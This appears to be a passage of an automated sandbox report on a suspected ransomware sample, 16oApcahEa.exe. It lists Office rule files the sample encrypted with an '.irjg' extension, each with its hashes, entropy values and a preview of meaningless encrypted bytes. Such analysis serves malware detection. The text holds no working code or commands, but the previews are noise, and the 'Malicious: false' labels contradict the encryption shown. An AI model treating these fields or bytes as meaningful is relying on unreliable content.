.....R..6?......R.i.Z....O.+.Y.u@DZ....8v...8.GP..j..1.Y...{.zez.#GC.t}m~>..07.]T....B...y..Wfo.M+rC....vKL.t....7.`.....Y..(.....\|..W..1....vdre..-_.D'`.^.#}........s.A..t... J.o..@.$...P.......Y.....$\..E...?/+F[PU./...T...y...4V.X...\|...#].....\u@R.P...y.Uywlb....Bkf.W.".DN../...C...r..]..bS....o..Y.Kv...!..m.B....j..U_...`'.).OG4X..4L

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.824104097442736
Encrypted:	false
SSDEEP:	24:j7ywfXCxQYwAlI42XvzPfL62/KwqrerjMNVrkk0kMRHRxonh7N6CIs83nJZ9pbD:j7yw7YHyXvzHu2/KbaPMzYk0kMlDkJ4h
MD5:	BA2859A2BB007F5EA4E429D510866F1B
SHA1:	2D0D76CCE083B625403CAA7EF0EA786F79869874
SHA-256:	F6FD432A27D35C7714CB7658DBEA1E6A566B65BD398E8CE953D6B1F68C05E5DC
SHA-512:	6967B4ABAF99F389D595AF48A8705F905B536B99AF313BB5AD0556499AF21D4A3B2F9044023807435C40D909F13FD3E03808B6650B29667CDF9061DA901F5A75
Malicious:	false
Preview:	<?xml4..}...T~1.P..e{.. FyB.K....Q.A.&9..?......1...b.nX~.om..uc>"....)).j..Ue.fD.K...J.D...`o...n....)_./.....S./hA.........6.......Q.u..4.q.......\.F..S..ct...).9.........6..-...$.j\.m.L.....J...TdPE\........./..<.q`..7.....Z......F.(,a..E..@...g+j.Tl....x.......-U.......".uD>]R....o".B&0!_..2j~..s#..........&.G\|>.....M..=..o..S1?.;o...F......x..S..'.?`..b..@6.C..K..{..:.0...=3.9..h4I..7.v.......na{j?E...aA.5MR C...}."1M.J,.Q.E...sH.=.l.`...@.y...(.rm.L.7....w.]..A.m.3L..i./...4PJ.`...RU:.R..:o.i..l7.. m8......aZ.f...C....B.......;..).SY..t.....^....W.2"..x...p..~.G.z...+....'....r......Az...T.......B..k]>5...?....6.5.-.)...P...t.m...B.-.....2.%....T...+..>.!.GV...h..T.#.^..$...}...A..f..^...)Q.'.Y&.5./..).8x=>....$6G..p....6`.3.=#..uv.2..............S.........9Du...K. .)5J.G...1s.U.XW4.5x.........7h.A........[..4g}.2."...[..B.5...D.G..........vR.}ui{.!...m.ob.WEoe._._.@0U/.y.jRJ.4dv.P.U.Tv>...~.m+.t....K.31x!I.......I...?.....@.R

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.7518404023092025
Encrypted:	false
SSDEEP:	24:AJipw2HHlFHuY5EyKFT4dBE6qzot2ke9OF4gKn0rcp9pbD:2itHnHL6h4dyv7kh6+cTJD
MD5:	1515C1330652849BC5EFF9C15F23B457
SHA1:	9F887B7388BA3969DED3EC1056BE7420A38E1A6D
SHA-256:	8044A1944D875549F4259683DFB69A168EE5DE8896EB44A92C136C7D6FC0B543
SHA-512:	8D6A4E86153AD69E0F464B558C1EFC0521413D44F4F49191ED31EAFE05E6831DF2CCB71FA6C631024AF8AF9E9C578478F2C61CA519AC5C90F64F5DE6E7EF4E89
Malicious:	false
Preview:	<?xml._[.....HB!.."`.z..0q.....y..>....{....5W.hQ H=...`..............@..?.3....D.fQ.. B.m..M#j+......5.G..a'.....u(3S........@.L.......nv.................9.v.j.O.{........(.FR&b.4HN..AeU...$...'.Z.Q...z. QK......x...Y. #......B.....v..{...6...`$.....9...e...G........yfKV..].MK.........`.;.6..ML...j4jE.4U.q...,-.O..V......U......./}Z.M.`....i.7^.4.M....Z$sm........C..!$^..F..c.H.T....%.vgM.X.k.....q.mp....U....}^t"..m(.M{.B:/...(vfy@\|......!.1.7..}n.EXP-e......Y.o.OQ.X....NB..C.'...<..W..?65...H.y.Tsu....q;.H.@r.&...:.o..........8>...jw....J........TW../..}.%$..."9..TD.....z.]....-..zp;..'...O.H:~.FN.....f5.\|..0.I"..w.........Yp....c..;..".i....q$LB-.L....._.s.3.....p...T.....y......?.X.......,.<.VxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.645142574505062
Encrypted:	false
SSDEEP:	12:ZldsV9/jsGKK5VmT4+Yq53l0B3uXJ0M9M2cii9a:ldH4+tl0cXJ0M9pbD
MD5:	57192E24951EB2CEA051AE8EE405F41A
SHA1:	D2A8AF06EFD785642023BD71069F03AD4266C8EF
SHA-256:	EFB2D11E9A097A474E1ED880380248AE9EC99DA7B3B1E151F82C6EEFF141C0EA
SHA-512:	0C3C06A4F98FBCF9FAE28F5C8F770BC75A83687E56C74BBFE669669087F6250CA5F60233245E5ECF3C4B3FC97256C3BF3DA59494576CF9D3E59191896B4434EE
Malicious:	false
Preview:	<?xml\|_s...~ .o....Px?.?.........6.iX.j.Y~.5.A\N...P....$.4.Q.$X..$a$...~'.4;....U..Ns_X.(.W.cY.ZW..........Nw..;...6......v..V...:_.b.../ pw5..f$M..!a..o..`....\|r..2......t@V.........I.....9{&..~Ia\|..p2AX.........Ek....7...Q.V`...x....U5?%... s.\.$S,....2....\|y..vA......q.)e!\|$b..j.9p.B......}b`B~...Y......N...[....2?...L.=C.....S.~._..]...._......v*.E.";...M.h.....Q...P..^.5.....,."3...4.D....1A..E.,...zc.O.r......iV..<t..;...g.V..p...../..-......gu=.5m......^-...?.......G...G..C:.>.Ma.7....(./.........x<..)f.E.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.763543254841795
Encrypted:	false
SSDEEP:	24:+2Q4G0WCI96Ks8gQsEirMY0sJSYpm9pbD:hG0WCIU7ZZM5sJS1JD
MD5:	0076A985D147B564EA40BA577D7F3626
SHA1:	A287C9B7CFE79AFADE5ABF6E0F194CECFD362854
SHA-256:	271AA9C535409D35618EC8BAB1469C94EA9A80AA1E186987DFFB91DF5806EE54
SHA-512:	8BA503A72678083B1F1097138FCF11C82342393AC1A57976295038531851466F7E9214FF0C3D49E1840FBE7FB604AAF8C043A985D676A11F086AF4C9872B5B41
Malicious:	false
Preview:	<?xml...QSC....7%..pw5..pjo........9.$d.r.......k...>..Z..... ..h..X..k.C...@...J...v.`P<.;....2Sc]:N._..;]`...G.q.ab..X.C_.BU.."....O...0.\|."..$...3...w..10s...g.......A:......u8..a.....<.p.1..........I.....:k.u..6..v....l.^E ....!..D6.0T(.5....k-k...3....7......W\|.4..K.=6.ArJPhm?T..y..%0....A'..Sj.f3+..~qr./V......B\.:B.w.........-.C.:E.....5.C:c..G..[4..7..+.....\.e..].1.....V=.=..1x.....,u.F..W ....x.l.h.2.?...^.....q...........R....$.a..UQ.........}f.AC.....R.zr..G.7.4..Gg=.R...D.m,.h...2^. >w..x.=#..t.x...;o.X..l\|.7..........OG@.C.Z.."....?D@..(.L3B...v...f...^.....C+.....o+.@...4q..q..E.8.&..&.'{J=....e....l..).\......""S....(C..:..b..`.].y.wcT......X..)mg.......zFHu.3.C.[.Q...[e...[........(\...u1V......g"nn.gV....@xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.972883616663135
Encrypted:	false
SSDEEP:	192:YwLK/AJ8VqJFxDtoFVcXDI2F40YgAlp07/BIiTyt:YwK0ksDtoyXs2F40YhlG7pIie
MD5:	F9F6FF8045EC1BF1CCD376687530053C
SHA1:	301697C77AF11877FB4D1493719761F36750DF01
SHA-256:	FCE4A4589A9ABB14FC5EC01AA65631377E51F5F8DC6B4FA5B38FD212936F1A19
SHA-512:	7716225131EB3D6A501E51E38358EABD10311311D291B08609077235D72F57974F23204F085E60D4396A51BA299818BEDC7DE71E1E3CE8118179DCD80DB799C8
Malicious:	false
Preview:	<?xml.P.....3~..&..n.#...A....&... ...[:..P...]..&....\|n0......H..i(K.....b.....C[......).+..".B.B..l....B{..(.m.../.ML!......i$.......B.O.N...?..}..".s..8..e_U.gG.n..g.<.Fp..1U..('....`O&(.......R7.A....Z.....P..b.h......T....%......E./....QU<..M.!.G...A_..L.....?.Ul...p.v..G.zJ..\|.f.....j...x;.[n.2@{6^9.3{....\. n.6[k........x......&..}NM...p...a..i..U\..W._)...vW.QK.......-g.o.i...B..B.52j$K)......g'......@..uU.X.}M.@J.`.e..)j.na1.F..V...@.(..-K....}.....U_;.N..."B.!.....b........r:...6.aP.../k.....Q%.1x.:.....<9..S..;o..=0x.4...3.p.W3S..9..........M.#.t~..a.}.)r....kS..IO.. {...%..;.H1X......Q..@m.wn.yo....KS.yk..%....,.....3....../~.hM,.t....5.....ye.......w~a.kf.h}.h...lu[.~.8K..R..S.N..k.V.5.l\|n.ct..@.d;.n.y..s,.R........?.C..#.3..NB.{Z.,.......,c.Z....`.! .o.A...y..yP....9-.Y.(...mT....V.Um.......u..O....E.t5.4.'....>...I.:..9)....>.lv^g]g.....+8.c....E...b.Aa...5.W...R..R....gl.....6v..nm.D.s.r..>.C.Z.C...=..W..?o..j

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.755329289264762
Encrypted:	false
SSDEEP:	24:4EQsYzH54/sk49rs9AQmjIy5/xAdLQF1q74Wjr5wuwj9pbD:11y54/s1Ns9KIMJAdLU1q74WjdMJD
MD5:	15BF3D375F87DCE8A113A1B545CCA67D
SHA1:	ABA8702BBFD5178827D79FBDBBDEFC33F3559E86
SHA-256:	96D3B6ABA0ECB0C300E72823C0D4BA892E0B65F53DC3AFDD11610B25A72E571F
SHA-512:	1A03AE5F882219EF7C070765AB1B8C51D25431033F55CC92136E0E64EA7F2282203A6068142C6AD017D9A02E5AC0308516F33960D24F5CF5801D8B61FE8FB3B4
Malicious:	false
Preview:	<?xml...6....v...U.8 ...Q.j....%....`.%.-.^..\b!?........U...3.O..Tt...E._B.... ..V..'...\|m...x.?y.qG...H..{......]8EF.. ......iD./.i......v.x..c.9...h..S.@.:.9C...lm..@}a.C\|..jW.3ZJ.?..m.......;..A.L.^G~....E...H'...s..].z.>...S.....6.M.Av>dCK.S.j..5.`.d...A....b.5).O. Az....X.5.u..w^...A.+K,...+....m.?{...t...#..zE.7.P...j....-..6.Q.Cd..n.Gh4(.wWp....vQx)T...\.=..`....kA.....!..-..\#.#F..Cq Q.8....e8....3..2.+F.m.....m9.....Q...B.QM../H..{.&........r.`..b..).<.....]...........F.D..o..C..:....6. ..\|.rya.N..\|...B.M..4+..\|...I.. ./..A..20o.K....`l...aj-.......i,.2.d.q....."UKC9v)O...kw.l:..2;.....sl.....- .b. 9m..t..b.P.......?:.c..+.g.....&.i..j.....-3@.j&....T.=..lX....Ay.N..\|=8J. ..8..J.C.H..Bl....B...+.Ra..5b.A._P.c.M..u{.q#......N:y&.8\|o..VS. WK1.A{...._..n.3 U.$.-H.:p..v...AD.....rB.\|....RP.*.^..K[.fF..f#e..y.R..&...T.k..{`.?)k.....s3.2.'....5..d2..b.m{.3...XAB...Mi..^."\|.....R....1.d.R}.,N..xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.786331722097107
Encrypted:	false
SSDEEP:	24:seBnCH+BqAvx7A7ESZSDKab8pvd5W4rTVhZmGiI/KctDIs9pbD:7RI+BqSxsnZSDxANd5f9hAGJiCD3JD
MD5:	BE9E76C2A603E672829EAA747DDE4575
SHA1:	FC86BDFA3079364DC7905F3020C007972BC618A4
SHA-256:	6C18CA589A69A588D505A21C14552B8936DA28C51461C90CC4B3C75B19948397
SHA-512:	AA38551DC42879D83EDA34A213C50651FBC8B06066EB0E8CE2EEC5E397BDB81895B7AF44FB45410E54B0061BFA0EF5887B4119982F0EDE9BB196B129AF42A5FE
Malicious:	false
Preview:	<?xml3.Y.{.wd\|.u.....N..5.z..2.....`f...i...%~..#.....X...z.1..x.LwH?....G<...b.BD.1.....rM:.62.i.W.a.n../(B.%[~X.....>....S.}..../...Z.a..p..2...VD..8#.........1w..4....E.r.P......,..=U.Ow.&.f...0...f0r.Na!.!W...:#.S.X.C.....w}}J ......1.>$.a=];r....sq..+..D.m$.....\.u)b.!......., .+..7...9w1.....O...@..9....V....#.Z~..7..{...{....bG.........e&...>.}...........L%.....DK..n.'.w.Hv.....y... ......(...._j.8J....V..+.+...0.!.....;.r.4..g\v...sz.5...].t.u2.1p5..c..<V..T+!..!8[...... .F.(.f......].....5^_..t.'D.7D..o.Z.c.E^.'....n.7.d.pm._.........+0f.............z..A.NSGL..g.. ^M..(.2.UE....E...6fq.....1.c..........S......m...+w...R... ...4x....2;S.Y:,...zd.X...\4..t...Y..j.3",...~...j..;@=0.y..ZO..r.+....5.g....6Y..WR....7.j$..r....t..].../F.X..>.do.L~....'.8.;....p...C"_.Wm....r.y...D.....5%u.x..'......>..`....()2k.AvT..........9O..Uk';...@...DCS...^....../.`..-kO.V.b...7.<Y..~U.7aJ.2Z.]..p..>..D8..Z D.e..$.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eh

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170007v5.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	7.868919384983351
Encrypted:	false
SSDEEP:	24:iIR/WTWEJ1YXLAppsGwTobhz8Jhbt3vpzgmP+bGhtRgOsh8ZYGD9LFmMb1q9pbD:7WLJ1+qCGwQhyhZ3v6kKkrmh/y5mMb1W
MD5:	DEA8108244EFEE9EBF26175246D553FD
SHA1:	E15FAB238DFDCB1E09A9B25A3034DCADCEB77893
SHA-256:	16E88152A1672C6453AFE19AB3678B9B7DF7B52CF012C9F9786D117D46DC3FB0
SHA-512:	92CDDFB762130E9A4D6171834F693CD2FC36ED4420C655C6555F648322B9CBD1495F5CFBC37DFFB7E9C79CD96FD6ADCB604140BA605979BE291640D17EDC2A2A
Malicious:	false
Preview:	<?xml......X..../.hi......!f7...fM..1....D....M/.M...l?y.k#.b.....q.l/....x+.(....;P.n.d.t@6.o..}.m..]..b...u...u...2..Z..4d..toA......]...~=9W.r.(..........W..ld.\.L?.q...W.c..f.o..B2+Rz8a}...V...k..Y.M.0k..SOh....8L...$z.e.6.!.<.3.0.<...e.J/.......l..-.>..9P}.....3.P.0..,...,.<......#0....=..P.X..5b...9..l..Ki.I.5.[~X.qM.......<.G....4./...;d;..M.o.\.....T....o...w1.R~...1R..=..&.p& m..l.>@BV..U.Amg..r(..^:..u..U..Fvwu...}T>..v...g\....%.`..../...&..nDZp..a........K..4.Z. +..w.X...a.S%y.b>rm...G..m..\|!;....%...K+..n.....T.(_.#.....h.miP..6.`Y..u..%..S.m....VE.....S...x.X.oL{.9`..y.....{U8.^.CCOX...#r.........a.`p..>.7.N..Hp!sa.q-@q....L.K.......v...57.R.z.....Q;G....'C..+.+...,f.,....Jz.....,.Jc.Q..8...eG.....`...q....d..7.3.O=...earI..s.&..!VHrg$.)........"..@.h-....Bi;....~y.......K.&\|....W..K...9...q..G.gg.X. ....M...Cl...........\|._.*.b..CQ..~.Dn.`...jO.q....tf[~J.(.s....S...<S.x...8S.i2S._.V.. +].d7..D.rhK.6a.=8..K.....s

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170009v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1073
Entropy (8bit):	7.7939380795812045
Encrypted:	false
SSDEEP:	24:yY1ZoKtgXMNAe+AlcK2iTU5p2gp1NTow9YVYd9pbD:ymNZQ+U5pmwyVYXJD
MD5:	EC77C4B6F1D66C7AF423FF6D11F24FAC
SHA1:	6C2E25400D84E552CE8FFAC682355A389ED62366
SHA-256:	3772684C031C659D64D088FCFCFE03CFB4F6A569FA2348F1E19C89289C1A0B8D
SHA-512:	D5CE319ABC5DD6DF4C7B18510596BACDA537F23837883347DFF5CC49DF0B2D07C809F98739DE89859BBC38B262C85CA23E57C1FB66ADECF810736971663BA433
Malicious:	false
Preview:	<?xml..m..7.../L......o./...t0..G.0......B.Z.K....w...`/.r.}......PJ.\|.M.0........,s.....XVg X. ..j.".......pJ...1.k.....u....;..O...X9.D.......].87..?.(.U...$.......Y.n...v.p.......U.w6..<...5./W.q......xn........i...<c.qOV-9u...t@\|S5w.1......:..#C.s....>...=.b.....?.Z.zU]w....j-T:.\....}74_NV}.u...I...0,~kA.}....9;.Q...h...B...bWP..X....D..;..!.s.RO!..$...A$g.g.t...(.)].H.M\|ge.;......?...mx.<......~{`....#.....\E.t....w.bJ&.Q...._.(..0.Ow..e..,..D.....%....i...a..F>.."..5.r..C.>..U....O..O.f.0RI.m...E.l>..........}Y.\\|.....v..o...Kh0c..j.C\|.........6...a..9.h..?..u..n4.$.]2.g...H....@.t.z.$X?.g..S.....(c.z.._v....._YE.!..8 .....PU^6.I........xpo..e......P...rN.j...&-...E.M......N..#,!yT.s...<..o....).....1...L.!,..../.u{@.h..I...#.$5$V.'..T:...!.....HT6...5s.32cbj.\|.g...(..g..PF.dj.F....?..(k..r-0".+K#.6.=T_$....(.8.mY=3...r.....~6.....V.....2...t-..9&...{..a.......[..2..$.X.0An......Q...f.s...._\|..#.D.#..7"}..xcdId

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170011v2.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	7.802205431201545
Encrypted:	false
SSDEEP:	24:M8o1ZJ3VtC7BC9lCNbHqtpEndA7bNYDiW8AUfQug/lDHs9pbD:I1jFtSqCNWtpEndAfNOindfQ7NGJD
MD5:	2C98446899AB4CED2717A8569E6E03A4
SHA1:	AF0CD4D5BE3FD6DA001C44203ED6DD613AD44294
SHA-256:	53705AA19CA4FE789ED4D2636E79ED1B73B765172734A1221ED6EEB089D004B2
SHA-512:	E3B6DC0A5AC9EEEBA367890D7B76EB5025A76900C0F93608C54FEE2784F6205671C7CF1CC8E1DCB4625E1D803411F2C679759E66374AA0C3548DEC34991E506C
Malicious:	false
Preview:	<?xml#..<6..G3x.d+y.....&...0.WI.3.v......W4...d..V.....a.?.5.PT$.<7....}.Y.H3....[.W!.g..;%.g..eb-..P..9.....y.p.<S.z:....O......R....)F`..F@..27..h...H.Q.\|eE...T..^5.m.hO....`12Z..n)?.v6....U......<GZ6.eT.QhwQ[....s...+.T.().\|.B..V....%.._..... ..!)...;Q".TE[=.....d....\|(o..e....o......'a..!.6.X:.:..'.9q.HwR.b;s-..n....B.(........u.u@=T..%N'....)T.X..H........)W./....NN.~1...#....kq.......5.5....Q.N..E...x................1.K.#DF.k.8.....l.#.L8.]...DQV...#Z.;.>U....7.....0rx0.$.'..Re.JC..{..lR.].).n.l..XwL".C....p1.q.I.0i...+.}..d..d.Vg...a.....-S^.X.i.. D..D.D.....E..r.......L....i..u...1@]%..^.g.C._.![...M..........D..Ab....IX..e.v#.6B*..h..}...K.......Z.k..C..ZL..p......5...m.....r.H.}.._..nE.+8.."..Uz..Z..g\|.q6.!10...N.u_._o............Vk.i!:....j....+V.DP.j...\..H&....I.Q k.do.n.....p..('O.X...X.n.z.MDJ:8.8.T-.W.QI..i.....P^...Y.S..Z'!'+jv..UB..=.i.:.je..L..b..:...<@...'.P.._..j>....K..}.`=......'.\.k+.....;..j.........4]q

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170012v8.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1902
Entropy (8bit):	7.890063960942265
Encrypted:	false
SSDEEP:	48:mt8OwRrw1swqRFAUtXRjsykBRXj+kzLqtsjLNsv8ZJD:hJRrw1swqRFPtX6rPXC9CsvI
MD5:	06A1D394846533CF36C23E86889A8F3C
SHA1:	FD567A1C99955E7CDED85BB33F2BD1C8639E1EA7
SHA-256:	6C91F65A0B99B20C74C7B11C4ABD0186A4DE69D0D4EDFF583852735737F0F5EE
SHA-512:	5D39713DE93EAF07DB6F255624DDB8E36ADFD07E3E57448BB1C3EDE3E5DC07746BA184A51B37D06474416E093084FA733E7B305D805ED807CAC1189CC1EE7E0F
Malicious:	false
Preview:	<?xml.G-..x.(3;.....U.....x).6...i,......+....Jit}....#.P...J....S.@.!....H..+..y..........@.P.kde3).....D.$.wK.....pY......8...(J2..a.....5..vM....DF0.....7.c.f>....K'...'8..8.....].....pz-O.N..0.).+.....u...OT.j./r.G.Q.iJ..L)-.r-.G..]e...@S.//....,..\..Y....C.f.....wS.xT..}..fXjFM0......G.N..........@=4)0zof.G..KD..d..R....8'.G._...~}.j.W..G.......K.x..wO4.b.A-..J..b..M.Y.\|.<...P...Dh{hC..7..FG.{9N.\|...]ss...#..J..#p....G..e.?.).s...lI.cU..;..0. ......\D..J.J.,Q...7V.Q.../.....o.s.i.n5......:+..j,....J..-......)W.DN<(....a....."..-....]..j.....B...?.-F}...3..].....5yu.c.Z..C..H].".......x.#.^P..(...7.y..n>.#.[j...'...^?H.;..B.x..K,...uHMB.32..8$.....Y..y ..n..)..y+-.{.Dc......"".....w..d.s.l..&l3....cF5.g.5E...P...+.zu;.m....nI:....Y...`."...7....%.`G..".....<...........@....Pz...OX..Xz0....Il.MU...]j..OLNG..../X...7.......,p....t.....q.Z.~.......T4...._.'......s.>.....9.E{.Y..D.6j.WJ..8...l-..........a..m.-X..../.......J&zIG,0..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170013v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	712
Entropy (8bit):	7.68593509296363
Encrypted:	false
SSDEEP:	12:jA2cv3WXlMnOiMZso6FERup8+snShTfTrucgM1+DuGmsRL9OlCGRCGVX7JcB1U9h:8TWunGZsBjNsnShHru/Mauhu/GRCGVrx
MD5:	B6602945196DF13F3A50677AAA6D914C
SHA1:	297974EE4AA2F375DD4CD75FB54031FFB920A8B0
SHA-256:	3EFADA8D090644B6BA65EE8F879F9E11A04F3335AFE8E4A8AA6BFE05E69C84BE
SHA-512:	939F4138A98A22A0EB1B466986175D7C08A48B5A3DF628E1D2C89CABA2185051D55B575BF7C55F17B6B322C25B05D1A104575AC0257F6B24127F9C31B15F3BC8
Malicious:	false
Preview:	<?xml/1Pj.6.t.......B...[IU.P...`8.^..@.........G.#3....6....j.\...A%..==5..D.;Il..../...Dj..c.......{..=......3......b.W5...5.eV?.l.%... ....^q.U').S.&..!.[...;wT.>{.w=....Pv..m..f....7.L.V~...7....lp.I..xV...(D..0h......".-....;.!.z>.@.....~D....n.l.#%.LU......@.Qh..D..Z.....l..V....W..CP...".#....k.._.@&a.S..^........Zl\bW..-~c...pS.#..g.6..m..G..<..I....f!k...4u.....f...l..2..3.q....3.]3.....x..n@...g.....g..vG..1..-..._.F.9.v.....t...y.X.....w,..d.76d..ol-.w.%@....\.K.Z.....o.x../.nM@..W.@..c...4".=g4..._L....bi."'..m ~.H.}.5@..)..:...;...;Q6.x...k..^......}i....$P9.t...;..$.'..._Mu:.f.....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170014v4.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.873297681508772
Encrypted:	false
SSDEEP:	48:whr9BvT2rfRp1LedSVd+2Qvk79AEQA6NEgAmJD:wL90e9Katxx
MD5:	CEB43F873E795D9DE563006C3CC29625
SHA1:	C406D08358647866F807FFCB0D6E08E848664794
SHA-256:	EFE08D4F519CAE8A0DD3F46FCFFC6FFE8CBD3B3A326D018B5E1ACD83CD954DB5
SHA-512:	06C5A10681C5E7A9EA9D233DB3DDA64CEF61944575031222C8E925BFD8423C6C8ACF487A04FD02AEB8F3F1D96A6B6EBEFC6453A505EF0417B65E9A34DE3C9614
Malicious:	false
Preview:	<?xml..Y3...nA.t#..K..i.Wa.e..{=.l..5.H...G.....mj.!.#'.......-..q^.5.xC..U......~./E.RO.W..?..N..3Y"..5.D..nXetg'm.h.A)......g-....8Hr...W.h\...s.B...s..w.....e..~......Q.m..gpm..<8...}....&........j..CT....IB..f..:A..?..2?..5M.81.q&..k.....n..~...8....$d.X..P.J..L......4.&<N...3..gj...`.>c.....\|...~.J........0W.\lAP.<)..[.....`.>..t.qPL.u.>......o...~C^_k?.l....%5.{...p>...#y....@.p..........r..1f...!..P.. &t.Q..W...]>bN.....tP....I.].8...u5...]..;&...W.....s"....k....r.:I.....wui..~<$.[.i......[..X..-..4..w.x..u...k....v.,=5..`J.\|......XR...m....Y.#......k+~..... ...B\.V.4...7.m~.....I..4=....Z#.....d.....st........GR...u...'0.$.Aj... .....qbI.F..44.._.W5..e...W2.4..-.!Z.;..>.l.W..\|%>.k...J .H........=T...'UY.....q.l.f..o..9.Q/..k#'I7...,.9.........Qy..83...h{.X...50.R......M..t..j..v..l.t.......9.s~....-E"\|.1.0c.\Kl6.iq:..`..d <MQ.....L.]V.:6+l^.W.e.v...Tr .-..ZQ...?......Q#.7.0[E..@......C.;..7UF..Y...O............3..RG..]?.....V.F.Z

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170016v7.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2111
Entropy (8bit):	7.904247025811589
Encrypted:	false
SSDEEP:	48:yV0XGfH/VbnDvzgA0LQ1+gF99Q/mIpl8mYc7vxtegWe5sdTKlLYJD:yV0XAFGU9smIvr7TlRIt
MD5:	6B061F0D391324B236B99183F4DFD94C
SHA1:	15286BC234F0E709AC823BCEAC3E5A6EC1422852
SHA-256:	6EB4C5D0DEAD8E1CC3745586FD0D231EE84A023088EC9C1A303AD2CE7ECD738A
SHA-512:	C0B4EC64BFD7B16533B1272FC74839FB947204D2C3384F9CF034E0A2517425EFED17B6B1278B59A0125663FF91EA6C601401B4C8F4D85909B34E5A035AD0F286
Malicious:	false
Preview:	<?xmls...h..\|....t..C..1.i.j..3t.P..`Wz.&b.\.7..J..x^..K)A....(..8.i-H.^.....b.O...{.]..Oq.>\|.Wwo.'. X..QE.h;~..W...T.....~3....C..R..SE.`s1.O..;X.K....4...\.s...5R.d.........7.r/...LDy.v....4..N8.,..(.6.....H.[..=P..~...\|."P]6R.X......kUZ.^(....=7.E..................._...8+o.1.lg...1.+.E..._..?.>6d.F...Z.e...z...#...V...k]............%.....#.5.5.,...zG.:o."...hsD.#.y{.....;...O.....S,.:....o....-...hW=$..3.e..&...6qn.3.3$.@..NT...$dt..0..+.fs.}.t.G...y...P43......! ..i...X/..H^...s...r.:?..Q.C... .w..L..t2.k..?..:....Ez?....[.$..........gD....t~..Se.b../9...^U..0.SQ..e.XI'............~9%.2~...m...w.u.E......r.+t....&....W.`.f...v...N.m.Xt...-x..&.0.l\...V..h.....,...&..{3H...ba+....kN....>S...+....+...].RM8TGY<....E^0...`.;P\|.....].hy~.0.&N...<r......'. .dS..._1.Ng.B......m./..N..nS..:..>V..%.!..S..'Q...n1.C..f....M.....{l\..........D.:Y...:.('...5...yA..6..C.g.......Q ..ID.Z...ib o.;..C@M..F.X..fD....g.xC.&...j.Q....z.%...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170019v1.xml.irjg (copy)

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.88441141408486
Encrypted:	false
SSDEEP:	48:zsNFuCqTgU8xth4RSEtwgXhWxcUCYqgJD:YN4VTgxV00xc7/y
MD5:	44D7AFD53B3C0CBC1BE316C98A246E60
SHA1:	B6DB84DE151DD7581E9610F3EFED4B7EEA87A78A
SHA-256:	1E6F18AA1B3C580FAB6C642D1C8F4C80CFCD50EDD880B6E73A41CA19BC6A6411
